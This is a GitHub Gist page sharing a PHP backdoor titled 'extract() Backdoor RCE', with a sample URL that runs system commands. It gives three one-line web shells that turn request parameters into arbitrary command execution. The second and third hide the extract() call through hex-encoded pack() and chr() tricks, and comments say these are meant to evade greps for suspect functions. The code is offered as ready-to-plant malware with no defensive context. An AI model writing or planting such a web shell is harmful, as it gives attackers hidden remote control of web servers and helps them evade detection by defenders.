-
-
Save iamtutu/6002454cf508839ec784c8a6336a8e06 to your computer and use it in GitHub Desktop.
PHP extract() Backdoor RCE | Sample usage: foo.bar/backup.php?ctime=system&atime=ls -lah
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php extract($_REQUEST); @die($ctime($atime)); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php $debug = pack("H*", "65787472616374"); $debug($_REQUEST); @die($ctime($atime)); | |
// Slightly Obfuscated to evade some greps for extract() method |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php $debug = "ch". "r"; $debug = implode(array_map($debug, explode(":","112:97:99:107"))); $debug = $debug("H*", "65787472616374"); $debug($_REQUEST); @die($ctime($atime)); | |
// Even more obfustication to avoid using any 'suspect' functions directly |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment